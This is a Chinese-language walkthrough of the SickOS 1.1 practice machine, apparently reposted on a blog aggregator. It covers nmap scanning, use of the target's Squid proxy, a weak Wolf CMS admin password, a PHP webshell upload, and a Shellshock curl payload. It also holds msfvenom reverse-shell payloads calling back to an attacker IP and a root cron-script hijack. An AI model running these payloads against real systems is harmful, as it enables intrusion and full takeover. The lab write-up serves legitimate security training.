Sock0s1.1

news2024/11/16 8:27:42

信息收集

探测存活主机

发现存活主机为192.168.217.133

探测开放端口

nmap -sT -p- 192.168.217.133 -oA ./ports

发现两个端口开放,分别是22 3128,同时探测到了8080端口,但是显示是关闭的状态。

UDP端口探测

nmap -sU --top-ports 20 192.168.217.133 -oA ./ports

版本服务信息探测

nmap -sT -sV -sC -O -p22,3128,8080 192.168.217.133 -oA ./details

漏洞脚本探测

nmap -sT --script=vuln 192.168.217.133 -oA ./vuln

渗透测试

尝试访问192.168.217.133:

访问不到,由于上面信息收集到3128端口开放的服务是squid-http,不知道这是什么东西,百度下:

发现这是一个代理服务器,因此我们尝试利用这个代理去访问一下192.168.217.133地址!

我们尝试利用代理进行访问,成功能访问到目标靶机上的页面。

目录扫描

进行目录扫描的时候需要使用3128的代理:

发现robots.txt文件,尝试访问这个文件:

发现wolfcms,尝试访问这个目录:(确实存在一套内容管理系统!)

现在怎么办?不妨找一下这个系统公开漏洞尝试利用一下:

发现了这套系统存在后台的任意文件上传漏洞,后台的登陆地址为:ip/?/admin/login

确实存在相关的后台登陆地址,接下来我们先尝试弱口令进行登录:(admin/123456 失败! admin/admin成功!)

登陆成功上来发现了wolf cms 的版本为0.8.2,该版本存在任意文件上传漏洞!

编写木马的内容:(直接php一句话木马

利用蚁剑连接webshell:

当然了蚁剑是需要挂代理的!

权限是www-data权限,需要进行权限提升!

还有一种方法就是我们能够修改他的代码,尝试在articles中,添加反弹shell的代码:

之所以端口是443,是因为对方的机器可能是不出网的!

攻击机起一个监听:

当我们点击articles的时候,便会收到一个shell!

查看网站目录下的config.php文件:

发现了一个数据库的账号和密码!

查看用户信息:

cat /etc/passwd

发现了几个账号:root、最后面有一个sickos用户。尝试利用ssh进行登录:

提权

成功登录!查看权限:

sudo -l

具有全部的权限,看到三个ALL,也就证明我们几乎是拿到了最高权限!

sudo /bin/bash

切换到root的家目录:

另一种方式

这个看到红队笔记的打法:(利用nikto进行扫描)

nikto -h 192.168.217.133 -useproxy=http://192.168.217.133:3128/

经过扫描,发现存在shellshock漏洞。

shellshock简介

shellshock即unix 系统下的bash shell的一个漏洞,Bash 4.3以及之前的版本在处理某些构造的环境变量时存在安全漏洞,向环境变量值内的函数定义后添加多余的字符串会触发此漏洞,攻击者可利用此漏洞改变或绕过环境限制,以执行任意的shell命令,甚至完全控制目标系统。

判断是否真的存在shellshock漏洞

利用curl进行判断:

curl -v --proxy http://192.168.217.133:3128/ http://192.168.217.133/cgi-bin/status -H "Referer:() { test;}; echo 'Content-type: text/plain'; echo; echo; /usr/bin/id;exit"

利用msfvenom生成木马代码:

msfvenom -p cmd/unix/reverse_bash lhost=192.168.217.128 lport=443 -f raw

然后粘贴到curl中进行执行:

成功获取到反弹shell!

查看操作系统的相关信息:

uname -a
dpkg -l //查看操作系统都安装了哪些软件

发现安装了python,所以我们尝试利用python去开启一个交互性好的bash

python -c "import pty;pty.spawn('/bin/bash')"

之后我们尝试看一下网站的目录下存在什么东西,一般来说网站都在/var/www目录下:

有一个connect.py文件,看一下:

大概说是 我尝试非常规律的连接一些事情,你或许想要试试我的服务???

计划任务? 服务?

上述文件是/etc/crontab的结果!再看看cron.d:

发现了之前我们看到的那个connect文件的定时任务,大概就是每一分钟以root身份执行一下connect这个文件,因此我们可以在connect文件中写入代码,那么经过一分钟之后便会得到执行结果!

利用msfvenom生成一个反弹shell的代码:

msfvenom -p cmd/unix/reverse_python lhost=192.168.217.128 lport=444 -f raw

生成的代码如上,我们只需要将他放到connect.py文件中即可!

之后我们在攻击机上起一个监听!等一分钟后便会得到一个root的shell:

之后我们直接读取root家目录下的文件即可:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1277078.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

CTF-虚拟机-QEMU-前置知识-操作流程与源码阅读

文章目录 总览内存PCI设备PCI配置空间前64个字节对应源码Memorry空间的BARIO空间的BAR MMIOPMIOIspci访问PCI设备配置空间中的Memory空间和IO空间MMIOPMIO QQM(qemu object model)简洁概要将 TypeInfo 注册 TypeImpl:ObjectClass的初始化&…

linux学习资源

linux书籍资源(pdf版): 有需要的请在评论区留言。 《Linux Basics for Hackers》 kaiwan的三部曲: 《Hands-On System Programming with Linux》 《Linux Kernel Programming》 《Linux Kernel Programming Part 2》 《Ma…

电子商务网站规划

摘 要 随着我国网民数量的不断增长,在关于互联网政策的大力支持下,国内的电子商务已经发展为全民网购的热潮。什么是电子商务,就是在互联网中盲目投资的网名有一个稳定的有规则的平台,有了电子商务平台后,多数商家选择…

使用 kubeadm 部署 Kubernetes 集群(三)kubeadm 初始化 k8s 证书过期解决方案

一、延长k8s证书时间 查看 apiserver 证书有效时间:默认是一年的有效期 [rootxuegod63 ~]# openssl x509 -in /etc/kubernetes/pki/apiserver.crt -noout -text |grep Not 延长证书过期时间 1.把 update-kubeadm-cert.sh 文件上传到 xuegod63 节点 vim update-…

.net framwork4.6操作MySQL报错Character set ‘utf8mb3‘ is not supported 解决方法

文章目录 .net framwork4.6操作MySQL报错Character set ‘utf8mb3‘ is not supported 解决方法详细报错内容解决方案修改数据修改表修改字段 .net framwork4.6操作MySQL报错Character set ‘utf8mb3‘ is not supported 解决方法 详细报错内容 System.NotSupportedException…

【WPF.NET开发】WPF.NET桌面应用开发概述

本文内容 为何从 .NET Framework 升级使用 WPF 进行编程标记和代码隐藏输入和命令控件布局数据绑定图形和动画文本和版式自定义 WPF 应用 Windows Presentation Foundation (WPF) 是一个与分辨率无关的 UI 框架,使用基于矢量的呈现引擎,构建用于利用现…

【matlab程序】画海洋流场

【matlab程序】画海洋流场 clear;clc; file ( ‘0227.nc’); latncread(file,‘latitude’); lonncread(file,‘longitude’); uncread(file,‘water_u’); vncread(file,‘water_v’); [x,y]meshgrid(lon,lat); xx’; yy’; interval4; figure (1) set(gcf,‘color’,[1 1 1…

工业机器视觉megauging(向光有光)使用说明书(二,轻量级的visionpro)

测试程序暂时支持80万(包含1024*768)以上的gige工业相机,以后会支持640*480分辨率相机。 我们程序中使用注意力机制,其实就是感兴趣区域(roi,你看过我前面博文,就应该明白)精神的延…

UiPath:人工智能和重新加速增长是 2024 年的好兆头

UiPath(NYSE:PATH)重新加速增长,同时在销售和营销方面变得最高效,使其成为进入 2024 年的有吸引力的成长型股票。 UiPath 最初被归类为机器人流程自动化 (RPA) 公司,现在认为自己是一家人工智能驱动的自动…

PyQt基础_014_对话框类控件QFileDialog

基本操作 import sys from PyQt5.QtCore import * from PyQt5.QtGui import * from PyQt5.QtWidgets import *class filedialogdemo(QWidget):def __init__(self, parentNone):super(filedialogdemo, self).__init__(parent)layout QVBoxLayout()self.btn QPushButton("…

探索意义的深度:自然语言处理中的语义相似性

一、说明 语义相似度,反应出计算机对相同内容,不同表达的识别能力。因而识别范围至少是个句子,最大范围就是文章,其研究方法有所区别。本文将按照目前高手的研究成绩,作为谈资介绍给诸位。 二、语义相似度简介 自然语言…

springboot虚拟请求——测试

springboot虚拟请求 表现层测试 web环境模拟测试 虚拟请求状态匹配——执行状态的匹配 Testvoid testStatus(Autowired MockMvc mvc) throws Exception { // //http://localhost:8080/books// 创建一个虚拟请求,当前访问的是booksMockHttpServletRequestBui…

Nginx反向代理详解

Nginx反向代理详解 nginx反向代理是一种常用的服务器架构设计方案,其原理是将客户端请求先发送到反向代理服务器,反向代理服务器再将请求转发到后端真实服务器处理,并将处理结果返回给客户端,从而实现负载均衡、高可用、安全和减…

SQL-分页查询offset的用法

今天在做一道关于查询一张表中第二高工资的问题时发现没有思路,经过一番搜索发现需要用到offset偏移量来解决这个问题。 OFFSET关键字用于指定从结果集的哪一行开始返回数据。通常,它与LIMIT一起使用,以实现分页效果。其语法如下&#xff1a…

8.ROS的TF坐标变换(二):动态坐标变换、多坐标变换代码讲解(以LIO-SAM为例)

目录 1 ROS的动态坐标变换及代码解释 1.1 什么是ROS的动态坐标变换 1.2 CMakeLists.txt、package.xml基础配置 1.3 发布方代码实现 1.4 接收方代码实现 2 ROS的多坐标变换及代码解释 2.1 什么是ROS的多坐标变换 2.2 发布方代码实现 2.3 接收方代码实现 3 L…

Java数据结构之《希尔排序》题目

一、前言: 这是怀化学院的:Java数据结构中的一道难度中等的一道编程题(此方法为博主自己研究,问题基本解决,若有bug欢迎下方评论提出意见,我会第一时间改进代码,谢谢!) 后面其他编程题只要我写完…

OOM了?物理内存不够了?试试这个方法来提升内存容量,不花钱的

通过增加虚拟内存来提高内存使用 本文解决的实际问题: 当我们物理内存小的时候,会出现OOM,然后服务自动死掉的情况。因为物理内存大小是固定的,有没有其他好的办法来解决呢?这里我们可以适当调整Linux的虚拟内存来协作…

服务号可以升级订阅号吗

服务号和订阅号有什么区别?服务号转为订阅号有哪些作用?很多小伙伴想把服务号改为订阅号,但是不知道改了之后具体有什么作用,今天跟大家具体讲解一下。首先我们知道服务号一个月只能发四次文章,但是订阅号每天都可以发…

Hdoop学习笔记(HDP)-Part.18 安装Flink

目录 Part.01 关于HDP Part.02 核心组件原理 Part.03 资源规划 Part.04 基础环境配置 Part.05 Yum源配置 Part.06 安装OracleJDK Part.07 安装MySQL Part.08 部署Ambari集群 Part.09 安装OpenLDAP Part.10 创建集群 Part.11 安装Kerberos Part.12 安装HDFS Part.13 安装Ranger …

注意力机制及Transformer-3GPT版

#pic_center R 1 R_1 R1​ R 2 R^2 R2 目录 知识框架No.1 自注意力机制(self-attention)一、输入的种类以及表示1、输入是a vector2、输入是a set of vectors(一段文字)3、输入是a set of vectors(一段音频)4、输入是a set of vectors(一段图谱)5、输入是a set of vectors(一个…